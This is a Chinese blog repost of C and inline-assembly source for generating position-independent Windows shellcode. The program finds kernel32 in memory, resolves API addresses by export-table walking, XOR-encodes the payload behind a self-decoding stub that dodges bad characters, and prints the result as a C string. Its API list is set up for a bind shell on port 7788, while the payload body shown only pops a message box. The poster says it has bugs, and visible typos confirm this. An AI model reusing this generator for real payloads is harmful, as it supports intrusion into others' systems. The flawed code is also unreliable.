网上看到的编写shellcode的程序

网上看到的编写shellcode的程序

  1 /*  
  2             使用C语言编写通用shellcode的程序  
  3 出处:internet  
  4 修改:Hume/冷雨飘心  
  5 测试:Win2K SP4 Local  
  6   
  7 */   
  8 #include <windows.h>   
  9 #include <stdio.h>   
 10 #include <winioctl.h>   
 11    
 12 #define  DEBUG 1   
 13    
 14 //   
 15 //函数原型   
 16 //   
 17 void     DecryptSc();   
 18 void     ShellCodes();   
 19 void     PrintSc(char *lpBuff, int buffsize);   
 20    
 21 //   
 22 //用到的部分定义   
 23 //   
 24 #define  BEGINSTRLEN    0x08    //开始字符串长度   
 25 #define  ENDSTRLEN      0x08    //结束标记字符的长度   
 26 #define  nop_CODE       0x90    //填充字符   
 27 #define  nop_LEN        0x0     //ShellCode起始的填充长度   
 28 #define  BUFFSIZE       0x20000 //输出缓冲区大小   
 29    
 30 #define  sc_PORT        7788    //绑定端口号 0x1e6c   
 31 #define  sc_BUFFSIZE    0x2000  //ShellCode缓冲区大小   
 32    
 33 #define  Enc_key        0x7A    //编码密钥   
 34    
 35 #define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够?   
 36 #define  MAX_Sc_Len     0x2000  //hellCode的最大长度 8192足够?   
 37 #define  MAX_api_strlen 0x400   //APIstr字符串的长度   
 38 #define  API_endstr     "strend"//API结尾标记字符串       
 39 #define  API_endstrlen  0x06    //标记字符串长度   
 40    
 41 #define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\   
 42                    __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90   
 43 #define PROC_END PROC_BEGIN   
 44 //---------------------------------------------------   
 45 enum{       //Kernel32   
 46             _CreatePipe,   
 47             _CreateProcessA,   
 48             _CloseHandle,   
 49             _PeekNamedPipe,   
 50             _ReadFile,   
 51             _WriteFile,   
 52             _ExitProcess,   
 53    
 54             //WS2_32   
 55             _socket,   
 56             _bind,   
 57             _listen,   
 58             _accept,   
 59             _send,   
 60             _recv,   
 61             _ioctlsocket,   
 62             _closesocket,   
 63    
 64             //本机测试User32   
 65             _MessageBeep,   
 66             _MessageBoxA,   
 67             API_num   
 68 };   
 69    
 70 //   
 71 //代码这里开始   
 72 //   
 73 int __cdecl main(int argc, char **argv)   
 74 {   
 75   //shellcode中要用到的字符串   
 76   static char ApiStr[]="\x1e\x6c"   //端口地址   
 77    
 78             //Kernel32的API函数名称   
 79             "CreatePipe""\x0"   
 80             "CreateProcessA""\x0"   
 81             "CloseHandle""\x0"   
 82             "PeekNamedPipe""\x0"   
 83             "ReadFile""\x0"   
 84             "WriteFile""\x0"   
 85             "ExitProcess""\x0"   
 86    
 87             //其它API中用到的API   
 88             "wsock32.dll""\x0"   
 89             "socket""\x0"   
 90             "bind""\x0"   
 91             "listen""\x0"   
 92             "accept""\x0"   
 93             "send""\x0"   
 94             "recv""\x0"   
 95             "ioctlsocket""\x0"   
 96             "closesocket""\x0"   
 97             //本机测试   
 98             "user32.dll""\x0"   
 99             "MessageBeep""\x0"   
100             "MessageBoxA""\x0"   
101    
102             "\x0\x0\x0\x0\x0"   
103             "strend";   
104    
105   char  *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记开始的字符串   
106   char  *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记结束的字符串   
107    
108   char  buff[BUFFSIZE];         //缓冲区   
109   char  sc_buff[sc_BUFFSIZE];   //ShellCodes缓冲   
110   char  *pDcrypt_addr,   
111         *pSc_addr;   
112    
113   int   buff_len;               //缓冲长度   
114   int   EncCode_len;            //加密编码代码长度   
115   int   Sc_len;                 //原始ShellCode的长度   
116    
117   int       i,k;   
118   unsigned  char ch;   
119    
120   //   
121   //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串   
122   //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这   
123   //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理   
124   //   
125   pDcrypt_addr=(char *)DecryptSc;   
126    
127   //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,   
128   //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试   
129    
130   ch=*pDcrypt_addr;   
131   if (ch==0xe9)   
132   {   
133       pDcrypt_addr++;   
134       i=*(int *)pDcrypt_addr;   
135       pDcrypt_addr+=(i+4);      //此时指向函数的实际地址   
136   }   
137   //找到解码代码的开始部分   
138   for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;   
139    
140   if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8);   //如找到定位实际代码的开始   
141   else    
142   {   
143       //显示错误信息   
144       k=0;   
145       printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n");   
146       return 0;   
147   }   
148    
149   for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break;   
150    
151   if (k<MAX_Enc_Len) EncCode_len=k;   
152   else    
153   {   
154       k=0;   
155       printf("\nNo End str defined in Decrypt function!Please Check....\n");   
156       return 0;   
157   }   
158    
159   memset(buff,nop_CODE,BUFFSIZE);                       //缓冲区填充   
160   memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);        //把DecryptSc代码复制进buff   
161    
162   //   
163   //处理ShellCode代码,如果需要定位到代码的开始   
164   //   
165   pSc_addr=(char *)ShellCodes;     //shellcode的地址   
166    
167   //调试状态下的函数地址处理,便于调试   
168   ch=*pSc_addr;   
169   if (ch==0xe9)   
170   {   
171       pSc_addr++;   
172       i=*(int *)pSc_addr;   
173       pSc_addr+=(i+4);      //此时指向函数的实际地址   
174   }   
175    
176   //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的   
177   /*  
178   for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;  
179   if (k<MAX_Enc_Len) pSc_addr+=(k+8);   //如找到定位实际代码的开始  
180   */   
181    
182   //找到shellcode的结尾及长度   
183   for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break;   
184   if (k<MAX_Sc_Len) Sc_len=k;   
185   else    
186   {   
187       k=0;   
188       printf("\nNo End str defined in ShellCodes function!Please Check....\n");   
189       return 0;   
190   }   
191    
192    
193   //把shellcode代码复制进sc_buff   
194   memcpy(sc_buff,pSc_addr,Sc_len);   
195    
196   //把字符串拷贝在shellcode的结尾   
197   for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break;   
198   if(i>=MAX_api_strlen)   
199   {   
200       printf("\nNo End str defined in API strings!Please Check....\n");   
201       return 0;   
202   }   
203   memcpy(sc_buff+k,ApiStr,i);   
204    
205   Sc_len+=i;        //增加shellcode的长度   
206    
207   //   
208   //对shellcode进行编码算法简单,可根据需要改变   
209   //   
210   k=EncCode_len+nop_LEN;    //定位缓冲区应存放ShellCode地址的开始   
211    
212   for(i=0;i<Sc_len;++i){   
213    
214      ch=sc_buff[i]^Enc_key;   
215      //对一些可能造成shellcode失效的字符进行替换   
216      if(ch=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')   
217      {   
218         buff[k]='0';   
219         ++k;   
220         ch+=0x31;   
221      }   
222      //把编码过的shellcode放在DecryptSc代码后面   
223      buff[k]=ch;   
224      ++k;   
225   }   
226    
227   //shellcode的总长度   
228   buff_len=k;   
229    
230   //打印出shellcode   
231   PrintSc(buff,buff_len);   
232   //buff[buff_len]=0;   
233   //printf("%s",buff);   
234    
235 #ifdef DEBUG   
236   _asm{   
237       lea eax,buff   
238       jmp eax   
239       ret   
240   }   
241 #endif   
242    
243     return  0;   
244 }   
245    
246 //解码shellcode的代码   
247 void  DecryptSc()   
248 {   
249        __asm{   
250    
251 /////////////////////////   
252 //定义开始标志   
253 /////////////////////////   
254           PROC_BEGIN    //C macro to begin proc   
255    
256           jmp   next   
257 getEncCodeAddr:   
258           pop   edi   
259           push  edi   
260           pop   esi   
261           xor   ecx,ecx   
262 Decrypt_lop:    
263           lodsb   
264           cmp  al,cl   
265           jz   shell   
266           cmp  al,0x30  //判断是否为特殊字符   
267           jz   special_char_clean   
268 store:         
269           xor  al,Enc_key   
270           stosb   
271           jmp  Decrypt_lop   
272 special_char_clean:      
273           lodsb   
274           sub al,0x31   
275           jmp store   
276 next:        
277           call  getEncCodeAddr   
278           //其余真正加密的shellcode代码会连接在此处   
279 shell:       
280    
281 /////////////////////////   
282 //定义结束标志   
283 /////////////////////////   
284           PROC_END      //C macro to end proc   
285    
286           }   
287 }            
288    
289 //   
290 //shellcode代码   
291 //   
292 void ShellCodes()   
293 {   
294     //API低址数组       
295     FARPROC     API[API_num];   
296    
297    
298     //自己获取的API地址   
299     FARPROC     GetProcAddr;   
300     FARPROC    LoadLib;   
301    
302     HANDLE      hKrnl32;   
303     HANDLE      libhandle;   
304    
305     char        *ApiStr_addr,*p;   
306        
307     int         k;   
308     u_short     shellcodeport;   
309    
310     //测试用变量   
311     char        *testAddr;   
312    
313 /*  
314     STARTUPINFO siinfo;  
315     SOCKET      listenFD,clientFD;  
316     struct      sockaddr_in server;  
317     int         iAddrSize = sizeof(server);  
318     int         lBytesRead;  
319     PROCESS_INFORMATION ProcessInformation;  
320     HANDLE      hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;  
321     SECURITY_ATTRIBUTES sa;  
322   
323 */   
324    
325    
326 _asm {   
327         jmp    locate_addr0   
328 getApiStr_addr:   
329         pop    ApiStr_addr   
330    
331         //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址   
332         //以后就可以方便地获取任何API的地址了   
333    
334         //保护寄存器   
335         pushad   
336    
337     xor     esi,esi   
338         lods    dword ptr fs:[esi]   
339            
340 Search_Krnl32_lop:   
341         inc     eax   
342         je      Krnl32_Base_Ok   
343         dec     eax   
344         xchg    esi,eax   
345         LODSD     
346         jmp     Search_Krnl32_lop   
347 Krnl32_Base_Ok:   
348    
349         LODSD                      
350                                 ;compare if PE_hdr   
351         xchg    esi,eax   
352     find_pe_header:   
353         dec     esi   
354         xor     si,si           ;kernel32 is 64kb align   
355         mov     eax,[esi]   
356         add     ax,-'ZM'        ;          
357         jne     find_pe_header   
358         mov     edi,[esi+3ch]   ;.e_lfanew           
359         mov     eax,[esi+edi]   
360         add     eax,-'EP'       ;anti heuristic change this if you are using MASM etc.        
361         jne     find_pe_header     
362            
363         push     esi   
364                                 ;esi=VA Kernel32.BASE   
365                                 ;edi=RVA K32.pehdr           
366         mov     ebx,esi   
367         mov     edi,[ebx+edi+78h]  ;peh.DataDirectory   
368            
369         push    edi   
370         push    esi   
371    
372         mov     eax,[ebx+edi+20h]  ;peexc.AddressOfNames                    
373         mov     edx,[ebx+edi+24h]  ;peexc.AddressOfNameOrdinals         
374         call    __getProcAddr   
375         _emit 0x47   
376         _emit 0x65   
377         _emit 0x74   
378         _emit 0x50   
379         _emit 0x72   
380         _emit 0x6F   
381         _emit 0x63   
382         _emit 0x41   
383         _emit 0x64   
384         _emit 0x64   
385         _emit 0x72   
386         _emit 0x65   
387         _emit 0x73   
388         _emit 0x73   
389         _emit 0x0   
390         //db     "GetProcAddress",0   
391 __getProcAddr:   
392         pop     edi   
393         mov     ecx,15           
394         sub     eax,4   
395 next_:           
396         add     eax,4   
397         add     edi,ecx   
398         sub     edi,15   
399         mov     esi,[ebx+eax]   
400         add     esi,ebx   
401         mov     ecx,15   
402         repz    cmpsb   
403         jnz     next_   
404    
405         pop     esi   
406         pop     edi   
407    
408         sub     eax,[ebx+edi+20h]      ;peexc.AddressOfNames   
409         shr     eax,1   
410         add     edx,ebx   
411         movzx   eax,word ptr [edx+eax]           
412         add     esi,[ebx+edi+1ch]       ;peexc.AddressOfFunctions   
413         add     ebx,[esi+eax*4]         ;ebx=Kernel32.GetProcAddress.addr   
414                                         ;use GetProcAddress and hModule to get other func   
415         pop     esi                     ;esi=kernel32 Base   
416    
417         mov     [hKrnl32],esi           //保存   
418         mov     [GetProcAddr],ebx       //保存   
419    
420         call    _getLoadLib   
421         _emit 0x4C   
422         _emit 0x6F   
423         _emit 0x61   
424         _emit 0x64   
425         _emit 0x4C   
426         _emit 0x69   
427         _emit 0x62   
428         _emit 0x72   
429         _emit 0x61   
430         _emit 0x72   
431         _emit 0x79   
432         _emit 0x41   
433         _emit 0x0   
434         //db      "LoadLibraryA",0   
435            
436 _getLoadLib:   
437         push    esi   
438         call    ebx   
439         mov     [LoadLib],eax   
440    
441         //恢复寄存器,避免更多问题   
442         popad   
443     }   
444    
445    //取出定义的端口地址   
446    shellcodeport=*(u_short *)ApiStr_addr;   
447    ApiStr_addr+=2;   
448       
449    ////////////////////////////////测试用   
450     testAddr=ApiStr_addr;   
451    ////////////////////////////////////   
452    
453    //利用GetProcAddress来获得shellcode中所用到的API地址   
454    
455    libhandle=hKrnl32;   
456    p=ApiStr_addr;   
457    
458    k=0;   
459    ///*   
460    while ( *((unsigned int *)p) != 0)   
461    {   
462        ApiStr_addr=p;   
463        while(*p) p++;   //前进到下一个字符串   
464    
465        if (*( (unsigned int *)(p-4))=='lld.')   
466        {   
467            libhandle=(HANDLE)LoadLib(ApiStr_addr);  //若为DLL则加载DLL   
468        }   
469        else   
470        {   
471            API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);   
472            k++;   
473        }   
474           
475        ApiStr_addr=++p; //更新指针前进一个字符位置   
476           
477    }   
478       
479    //*/   
480    
481 ///////////////////////////////////////////////////////////////////////////   
482 //         下面就可以使用C语言来编写真正实现功能的shellcode了                //   
483 ///////////////////////////////////////////////////////////////////////////   
484 //   
485 //简单测试几个API看是否复合要求   
486 //   
487 API[_MessageBeep](0x10);   
488 API[_MessageBoxA](0,testAddr,0,0x40);   
489 API[_ExitProcess](0);   
490 ///////////////////////////////////////////////////////////////////////////   
491 //                           shellcode功能部分结束                       //   
492 ///////////////////////////////////////////////////////////////////////////   
493    
494 //死循环   
495 die:      
496     goto die;   
497 __asm   
498     {   
499 locate_addr0:     
500            call getApiStr_addr      //5 bytes   
501 //真正的字符串数据要连接在此处   
502        
503    
504    
505    
506 /////////////////////////   
507 //定义结束标志   
508 /////////////////////////   
509           PROC_END      //C macro to end proc   
510           
511      }   
512 }   
513    
514 //   
515 //显示打印生成的shellcode的C string格式代码   
516 //   
517 void PrintSc(char *lpBuff, int buffsize)   
518 {   
519     int i,j;   
520     char *p;   
521     char msg[4];   
522     for(i=0;i<buffsize;i++)   
523     {   
524         if((i%16)==0)   
525             if(i!=0)   
526                 printf("\"\n\"");   
527             else   
528                 printf("\"");   
529         sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);   
530         for( p = msg, j=0; j  4; p++, j++ )   
531         {   
532             if(isupper(*p))   
533                 printf("%c", _tolower(*p));   
534             else   
535                 printf("%c", p[0]);   
536         }   
537     }   
538     printf("\";\n/*Shell total are %d bytes */\n",buffsize);   
539 }

源地址:http://read.pudn.com/downloads92/sourcecode/windows/system/354945/book/chapter6/C%E8%AF%AD%E8%A8%80%E7%9B%B4%E6%8E%A5%E6%8F%90%E5%8F%96/GetShellCodeByC.c__.htm

有BUG。用的时候需要修改

我自己写了一个,在另一篇随笔里。虽然代码难看,但是确实能用……

不会排版,貌似源地址的代码看起来更清晰一些

原文地址:https://www.cnblogs.com/02xiaoma/p/2641827.html